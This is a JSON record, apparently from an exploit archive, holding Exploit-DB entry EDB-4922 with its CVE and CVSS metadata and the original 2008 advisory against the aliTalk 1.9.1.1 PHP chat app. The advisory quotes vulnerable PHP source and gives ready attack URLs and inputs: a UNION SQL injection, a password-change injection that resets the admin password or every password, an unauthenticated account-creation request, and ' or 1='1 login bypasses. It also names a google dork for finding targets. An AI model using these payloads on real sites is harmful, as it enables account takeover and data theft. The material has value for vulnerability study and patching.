{"exploit":{"id":"EDB-4922","name":"alitalk 1.9.1.1 - Multiple Vulnerabilities","description":"alitalk 1.9.1.1 - Multiple Vulnerabilities","cves":["CVE-2008-0391","CVE-2008-0371"],"author":"tomplixsee","published":"2008-01-16","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4922","path":"exploits/php/webapps/4922.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4922.txt","vulnerabilities":[{"id":"CVE-2008-0391","state":"PUBLISHED","title":null,"titleSource":null,"description":"inc/elementz.php in aliTalk 1.9.1.1 does not properly verify authentication, which allows remote attackers to add an arbitrary user account via a modified lilil parameter, in conjunction with the ubild and pa parameters.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-0391","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-0391"},"updatedAt":"2024-08-07T07:46:53.940Z","retrievedAt":"2026-11-26T15:33:16.499Z","stale":false,"error":null},{"id":"CVE-2008-0371","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple SQL injection vulnerabilities in aliTalk 1.9.1.1, when magic_quotes_gpc is disabled, allow remote authenticated users to execute arbitrary SQL commands via (1) the mohit parameter to (a) inc/receivertwo.php; and allow remote attackers to execute arbitrary SQL commands via (2) the id parameter to (b) inc/usercp.php, related to functionz/usercp.php; or (3) the username parameter to (c) admin/index.php, related to functionz/first_process.php, or (d) index.php. NOTE: some of these details are obtained from third party information.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-0371","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-0371"},"updatedAt":"2024-08-07T07:39:35.228Z","retrievedAt":"2026-11-26T15:08:33.631Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4922.png?v=2","url":"https://exploitbin.com/exploits/EDB-4922","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4922/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4922/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"######################################################################\n# ALITALK v 1.9.1.1 Multiple Vulnerabilities                         #\n# author      : tomplixsee                                           #\n# google dork : POWERED BY ALITALK                                   #\n# download    : http://www.alilg.com/software/free-php-ajax-chat/    #\n######################################################################\n\n#################\n# SQL INJECTION #\n#################\n# you need to login in order to exploit this vulnerability\n# vulnerable code on inc/receivertwo.php\n# <?\n# .....\n# if($_GET['turnadd']==1)\n# {\n# $rmusr=0;\n# $rmmzyiz=mysql_query(\"SELECT * from \".$alitalk_base['dbprefix'].\"users where room='\".$_GET['mohit'].\"'\");\n# while ($rmuiz=mysql_fetch_array($rmmzyiz))\n# {\n# echo\"<rmusj>\";\n# echo\" r%#dtr onmouseout=\\\"detailsclo()\\\" onmouseover=\\\"details(event,'\".$rmuiz[gender].\"','\".$rmuiz[age].\"','\".$rmuiz[username].\"','\".$rmuiz[location].\"')\\\" ondblclick=\\\"ums('\".$rmuiz[uid].\"','\".$rmuiz[username].\"','\".\"\".\"')\\\" b*%d\n# r%#dtd width='19'b*%d r%#dimg src=\\\"pix/room_user.gif\\\"b*%dr%#d/tdb*%d\n# r%#dtd class='roomuser'b*%dr%#dfont unselectable='on' style=\\\"cursor: default;\\\"b*%d $rmuiz[username] r%#d/tdb*%d\n# r%#d/trb*%d\";\n# $rmusr++;\n# echo\"</rmusj>\";\n# }\n# ....\n# ?>\n#\n# example:\n# http://target/path/alitalk/inc/receivertwo.php?uid=1&mohit=y'+union+select+user(),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2+from+alitalk_users+where+uid='1&turnadd=1&melody=0&lilil=400\n\n\n###########################\n# PASSWORD CHANGE BYPASS  #\n###########################\n# vulnerable code on functionz/usercp.php\n# <?\n# .....\n# function newpass($db,$id)\n# {\n# $nat=md5($_GET['old'].$_GET['old']);\n# $nao=md5($_GET['new'].$_GET['new']);\n# $threeyiz=mysql_query(\"SELECT * from \".$db.\"users where uid='\".$id.\"' and password='\".md5(md5($_GET['old']).$nat).\"'\");\n# $yiz=mysql_fetch_array($threeyiz);\n# if(!$yiz)\n# {\n# echo \"Old Password is Wrong!\";\n# }\n# else\n# {\n# mysql_query(\"UPDATE \".$db.\"users SET password='\".md5(md5($_GET['new']).$nao).\"' WHERE uid='\".$id.\"'\");\n# mysql_query(\"UPDATE \".$db.\"users SET salt='\".$nao.\"' WHERE uid='\".$id.\"'\");\n# mpl($db,$id);\n# }\n# }\n# .....\n# ?>\n# examples:\n# http://target/path/inc/usercp.php?action=newpass&id=1' or password='&lilil=400&new=hacker\n# this will change password to \"hacker\" for user with uid = 1 (admin).\n#\n# http://target/path/inc/usercp.php?action=newpass&id=1' or 1='1&lilil=400&new=hacker\n# this will change ALL passwords to \"hacker\".\n\n\n############################\n# USER REGISTRATION BYPASS #\n############################\n# vulnerable code on inc/elementz.php:\n# <?\n# ......\n# if($_GET['lilil']!==\"\".$_SESSION['lilol'].\"\"){return false;}\n# include\"setting.php\";\n# $analuze=mysql_query(\"SELECT username from \".$alitalk_base['dbprefix'].\"users where username='\".$_GET['ubild'].\"' and type='alitalk'\");\n# $analuzeed=mysql_fetch_array($analuze);\n# if($analuzeed)\n# {\n# echo \"Fatal Error\";\n# }\n# else\n# {\n# $nat=md5($_GET['pa'].$_GET['pa']);\n# $pass=md5(md5($_GET['pa']).$nat);\n# mysql_query(\"INSERT into \".$alitalk_base['dbprefix'].\"users (firstname,lastname,gender,age,username,password,salt,joindate,addz,type) values('\".$_GET['fn'].\"','\".$_GET['ln'].\"','\".$_GET['gender'].\"','\".$_GET['age'].\"','\".$_GET['ubild'].\"','\".$pass.\"','\".$nat.\"','\".date(\"F j, Y\").\"','$uid','alitalk')\");\n# ....\n# ?>\n# example:\n# http://target/path/inc/elementz.php?lilil=400&ubild=hacker&pa=hacker\n# this will add an account with username=hacker and password=hacker\n\n\n#############################\n# ADMIN LOGIN SQL INJECTION #\n#############################\n# code on admin/index.php\n# <?\n# .......\n# else if($_POST['signin'])\n# {\n# include \"../functionz/first_process.php\";\n# include \"../inc/setting.php\";\n# addin($_POST['username'],$_POST['password'],$alitalk_base['dbprefix']);\n# }\n# .....\n# ?>\n#\n# vulnerable code on functionz/first_process.php\n# <?\n# ......\n# function addin($lamerz,$killer,$josh)\n# {\n# session_start();\n# $nat=md5($killer.$killer);\n# $analuze=mysql_query(\"SELECT * FROM \".$josh.\"info WHERE admin='\".$lamerz.\"' AND password='\".md5(md5($killer).$nat).\"'\");\n# $analuzeed=mysql_fetch_array($analuze);\n# if($analuzeed)\n# {\n# $_SESSION['adazsar']=1;\n# ......\n# ?>\n#\n# admin login page= http://target/path/admin\n# example:\n#  admin ID = adminusername' or 1='1\n#  password = whatever\n\n\n############################\n# USER LOGIN SQL INJECTION #\n############################\n#\n# example:\n#  ID = an_userID' or 1='1\n#  password = whatever\n\n# milw0rm.com [2008-01-16]","sha256":"e260ecccb5164e9010491a483449b1a0f95244d8dfe76bdab33fd1e54f0cef7e","bytes":4518,"fetchedAt":"2026-11-26T15:08:29.007Z","encoding":"utf-8 (display only; download retains original bytes)"}